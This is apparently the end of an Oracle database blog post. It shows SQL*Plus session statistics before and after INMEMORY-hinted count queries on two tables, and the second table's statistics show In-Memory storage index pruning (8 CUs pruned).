SQL> @IM_sesstat

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
CPU used by this session                                                  3
IM scan CUs no memcompress                                                0
IM scan CUs memcompress for dml                                           0
IM scan CUs memcompress for query low                                     0
IM scan CUs memcompress for query high                                    0
IM scan CUs memcompress for capacity low                                  0
IM scan CUs memcompress for capacity high                                 0
IM scan CUs columns accessed                                              0
IM scan CUs columns decompressed                                          0
IM scan CUs columns theoretical max                                       0
IM scan rows                                                              0
IM scan rows valid                                                        0
IM scan rows optimized                                                    0
IM scan rows projected                                                    0
IM scan CUs split pieces                                                  0
IM scan CUs pruned                                                        0

16 rows selected.

SQL> select /*+ INMEMORY */ count(*) from s where amount_sold=20;

  COUNT(*)
----------
       140

1 row selected.

SQL> @IM_sesstat

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
CPU used by this session                                                 20
IM scan CUs no memcompress                                                9
IM scan CUs memcompress for dml                                           0
IM scan CUs memcompress for query low                                     0
IM scan CUs memcompress for query high                                    0
IM scan CUs memcompress for capacity low                                  0
IM scan CUs memcompress for capacity high                                 0
IM scan CUs columns accessed                                              9
IM scan CUs columns decompressed                                          0
IM scan CUs columns theoretical max                                      63
IM scan rows                                                         918843
IM scan rows valid                                                   918843
IM scan rows optimized                                                    0
IM scan rows projected                                                  140
IM scan CUs split pieces                                                  9
IM scan CUs pruned                                                        0

16 rows selected.

-- ---------------------------------------------

SQL> @IM_sesstat

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
CPU used by this session                                                  1
IM scan CUs no memcompress                                                0
IM scan CUs memcompress for dml                                           0
IM scan CUs memcompress for query low                                     0
IM scan CUs memcompress for query high                                    0
IM scan CUs memcompress for capacity low                                  0
IM scan CUs memcompress for capacity high                                 0
IM scan CUs columns accessed                                              0
IM scan CUs columns decompressed                                          0
IM scan CUs columns theoretical max                                       0
IM scan rows                                                              0
IM scan rows valid                                                        0
IM scan rows optimized                                                    0
IM scan rows projected                                                    0
IM scan CUs split pieces                                                  0
IM scan CUs pruned                                                        0

16 rows selected.

SQL> select /*+ INMEMORY */ count(*) from s2 where amount_sold=20;

  COUNT(*)
----------
       140

SQL> @IM_sesstat

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
CPU used by this session                                                  2
IM scan CUs no memcompress                                                9
IM scan CUs memcompress for dml                                           0
IM scan CUs memcompress for query low                                     0
IM scan CUs memcompress for query high                                    0
IM scan CUs memcompress for capacity low                                  0
IM scan CUs memcompress for capacity high                                 0
IM scan CUs columns accessed                                              1
IM scan CUs columns decompressed                                          0
IM scan CUs columns theoretical max                                      63
IM scan rows                                                         918843
IM scan rows valid                                                   103923
IM scan rows optimized                                               814920
IM scan rows projected                                                  140
IM scan CUs split pieces                                                  9
IM scan CUs pruned                                                        8

16 rows selected.

 

All the scripts I used in the post, including the one used to see storage indexes, are available here:

That’s all for today !! 🙂